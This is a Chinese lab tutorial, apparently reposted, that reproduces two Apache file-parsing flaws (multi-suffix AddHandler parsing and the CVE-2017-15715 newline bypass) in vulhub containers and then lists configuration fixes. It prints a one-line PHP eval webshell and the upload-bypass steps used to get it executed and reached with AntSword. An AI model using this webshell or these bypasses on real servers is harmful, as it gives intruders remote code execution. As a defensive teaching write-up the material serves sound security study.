Apache解析漏洞复现

news2024/11/26 15:49:23

一、多后缀解析漏洞
1.漏洞说明
配置apache时,对于apache配置不熟练,配置命令不清楚,在配置PHP文件处理程序时,配置命令存在问题:位于漏洞环境目录的
conf/docker-php.conf里的配置命令(AddHandler application/x-httpd-php
.php),该命令会将后缀中只要含有.php的文件都会被处理程序解析,这导致攻击者可通过多后缀绕过文件上传限制以.php结尾的机制,并使之被处理程序执行。
版本条件:Apache 1.x和Apache 2.x
2.搭建环境
cd vulhub/httpd/apache_parsing_vulnerability]
docker-compose up -d
在这里插入图片描述在这里插入图片描述

3.漏洞复现
打开文本编辑器,构造一句话木马,<?php @eval($_POST["fname"]);?>
文件命名为shell.php.jpg,将该文件上传
在这里插入图片描述

hackbar连接http://192.168.25.128/uploadfiles/shell.php.jpg
在这里插入图片描述

使用蚁剑连接成功
在这里插入图片描述
在这里插入图片描述

4.防御方法
a.拒绝所有文件名含有.php的文件
<FilesMatch “.php.”>
require all denied
b.处理程序只处理以.php 结尾 的文件
首先将上一个防御方案的配置命令注释掉
再注释掉原本的处理出现配置命令AddHandler application/x-httpd-php .php
<FilesMatch “.+.php$”>
SetHandler application/x-httpd-php
以上就是apache多后缀解析漏洞的知识的
二、换行解析漏洞
1.漏洞说明
1)查看网页的html代码可知,该文件上传时采用黑名单形式过滤掉php文件
在这里插入图片描述

2)配置文件中设置正则表达式 对象的 Multiline 属性
在这里插入图片描述

$ 还会匹配到字符串结尾的换行符,这导致在上传时,添加一个换行符也能被正常解析,并且能够绕过系统的黑名单检测。
2.搭建环境
cd /vulhub/httpd/CVE-2017-15715
docker-compose up -d
在这里插入图片描述
在这里插入图片描述

3.漏洞复现
构造一个简单的php文件
在这里插入图片描述在这里插入图片描述

上传它,然后打开bp,抓取上传数据包
找到文件上传后的名字,php后面加a,然后16进制里把a换成0a。(两处都要加a)

在这里插入图片描述在这里插入图片描述

放包,访问上传的文件上传成功
访问http://192.168.25.128:8080/evil.php%0a解析成功,可以成功看到phpinfo信息
在这里插入图片描述

使用蚁剑成功连接
在这里插入图片描述

4.漏洞防御方法
a.升级apache版本
b.对上传的文件进行重命名
c.上传时采用白名单的验证方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1009118.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

uni-datetime-picker组件填坑,在mounted后再赋值calendar日历不展示或错误展示回显的日期。

当需求存在tab切换展示uni-datetime-picker&#xff0c;且每次切换需要初始化默认选中日期的时候&#xff0c;就会出现这样的bug。 就以两个不同类型的日期选择框进行切换展示为例&#xff1a; 没填坑之前的代码&#xff1a; <uni-datetime-picker v-show"activeTab…

使用BWGS进行基因型数据预测

标题&#xff1a;小麦基因组选择育种通道方法 描述&#xff1a;专门为小麦全基因组选择育种设计的包 编码方式&#xff1a;UTF-8 URL&#xff1a;GitHub - byzheng/BWGS: 2021 BreedWheat Genomic Selection pipeline BugReports &#xff1a;https://github.com/byzheng/B…

Vue2 | Vant uploader实现上传文件和图片

需求&#xff1a; 实现图片和文件的上传&#xff0c;单个图片超过1M则压缩&#xff0c;全部文件加起来不得超过10M。 效果&#xff1a; 1. html <van-form ref"form"><van-field name"uploader" label"佐证材料" required><t…

TypeScript枚举(Enums)和泛型(Generics)

&#x1f3ac; 岸边的风&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 枚举 异构枚举 枚举成员的类型 泛型 1. 函数泛型 2. 接口泛型 3. 类泛型 接下来我们将学习TypeScript 中的两…

无涯教程-JavaScript - ISREF函数

描述 如果指定的值是参考,则ISREF函数返回逻辑值TRUE。否则返回FALSE。 语法 ISREF (value) 争论 Argument描述Required/OptionalvalueA reference to a cell.Required Notes 您可以在执行任何操作之前使用此功能测试单元格的内容。 适用性 Excel 2007,Excel 2010,Exce…

机器故障预测:未来24小时的决胜时刻!!!

一、背景介绍 这个竞赛的焦点是预测机器是否会在未来24小时内故障。数据包括与机器性能相关的各种特征&#xff0c;例如温度、振动、功耗和传感器读数。目标变量是二进制的&#xff0c;表示机器是否在未来24小时内故障&#xff08;1&#xff09;或未故障&#xff08;0&#xf…

计算机竞赛 机器视觉opencv答题卡识别系统

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 答题卡识别系统 - opencv python 图像识别 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f947;学长这里给一个题目综合评分(每项满分5分…

selenium 网页自动化-在访问一个网页时弹出的浏览器窗口,我该如何处理?

前言 相信大家在使用selenium做网页自动化时&#xff0c;会遇到如下这样的一个场景&#xff1a; 在你使用get访问某一个网址时&#xff0c;会在页面中弹出如上图所示的弹出框。 首先想到是利用Alert类来处理它。 然而&#xff0c;很不幸&#xff0c;Alert类处理的结果就是没…

解决java.text.ParseException: Unparseable date: “invalid_date“

解决java.text.ParseException: Unparseable date: "invalid_date" 前言摘要引言正文1. 理解异常的根本原因2. 处理日期字符串格式问题3. 处理非法字符或无效日期信息4. 异常处理 总结参考资料 博主 默语带您 Go to New World. ✍ 个人主页—— 默语 的博客&#x1f…

创造引人入胜的网页体验:掌握 CSS 动画

&#x1f482; 个人网站:【工具大全】【游戏大全】【神级源码资源网】&#x1f91f; 前端学习课程&#xff1a;&#x1f449;【28个案例趣学前端】【400个JS面试题】&#x1f485; 寻找学习交流、摸鱼划水的小伙伴&#xff0c;请点击【摸鱼学习交流群】 在现代网页设计中&#…

Leetcode算法入门与数组丨2. LeetCode入门

文章目录 前言LeetCode 是什么LeetCode 注册LeetCode 学习LeetCode 题库LeetCode 刷题页面 & 刷题语言选择LeetCode 题解LeetCode 刷题流程LeetCode 刷题攻略 前言 Datawhale组队学习丨9月Leetcode算法入门与数组丨打卡笔记 这篇博客是一个 入门型 的文章&#xff0c;主要…

Failed to connect to bitbucket.org port 443 错误原因, 解决办法

最近使用SourceTree来访问bitbucket.org的代码托管Git, 当Pull或者Push发现操作失败: Failed to connect to bitbucket.org port 443 错误原因: 无法链接到网站地址, 可能是DNS解析IP地址错误, 或者网站维护, 大概率是被墙或者DNS解析错误. 解决办法: 如果您的浏览器能够访问b…

iOS技术博主指南:填写苹果应用上架中的隐私政策信息

摘要&#xff1a;本文将详细介绍iOS技术博主在苹果应用上架过程中如何填写隐私政策信息。博主可以通过App Store Connect为应用程序提供隐私政策网址和用户隐私选项网址&#xff0c;并了解如何填写隐私政策文本。本文将提供步骤和注意事项&#xff0c;帮助博主顺利完成隐私政策…

数据库-理论基础

目录 1.什么是数据库&#xff1f; 2.数据库与文件系统的区别&#xff1f; 3.常见的数据库由那些&#xff1f; 4.关系型数据库(MySQL&#xff09;的特征及组成结构介绍 1.什么是数据库&#xff1f; 数据&#xff1a;描述事物的符号记录&#xff0c;可以是数字&#xff0c;文…

SSTI注入利用姿势合集

文章目录 前言SSTI模板注入原理&#xff1f;关于Python的类知识构造链的思路Jinjia2获取配置信息lipsumrequesturl_forget_flashed_messagesg对象 Jinjia2 Bypass.绕过引号绕过_绕过init过滤[ ]被过滤 羊城杯2023[决赛] SSTI2020XCTF 华为专项赛Tornado通用手法tornado.templat…

电脑字体怎么改?4个方法快速更改字体!

“我的电脑字体看起来很不习惯&#xff0c;想给电脑换个字体。电脑字体应该怎么改呢&#xff1f;哪位朋友可以给我支支招呀&#xff1f;” 电脑字体的不同可能会让用户在使用电脑时有不同的体验。有些电脑用户可能想使用比较正式的字体&#xff0c;但有些用户可能会比较喜欢可爱…

算法|Day49 动态规划17

LeetCode 647- 回文子串 题目链接&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目描述&#xff1a;给你一个字符串 s &#xff0c;请你统计并返回这个字符串中 回文子串 的数目。 回文字符串 是正着读和倒过来读一样的字符串。 子…

RS485(一):电路与波形

一、RS485电路 ​RS485( Recommended Standard-485&#xff09;是隶属于OSI模型-物理层的电气特性&#xff0c;规定为 2 线、半双工、平衡传输线的多点异步通信标准&#xff0c;通信采用差分信号传输。 典型485应用电路如下图所示&#xff1a; 其中 、# 分别控制接收和发送…

深度学习-全连接神经网络-训练过程-权值初始化- [北邮鲁鹏]

文章目录 思想避免全零初始化随机权值初始化权值初始化太小&#xff1a;权值初始化太大Xavier初始化目标为什么输入和输出分布会变得不同&#xff1f;Xavier在使用Tanh时的表现好Xavier在使用ReLU时的表现不好 HE初始化&#xff08;MSRA&#xff09;权值初始化总结 思想 通过调…

ARMv8架构简介

ARMv8-A架构和处理器 ARMv8-A架构 ARMv8‑A 架构是针对应用程序配置文件的最新一代 ARM 架构。 ARMv8 这个名称用于描述整体架构,现在包括 32 位执行状态和 64 位执行状态。它引入了使用 64 位宽寄存器执行的能力,同时保持与现有 ARMv7 软件的向后兼容性。 ARMv8‑A 架构引…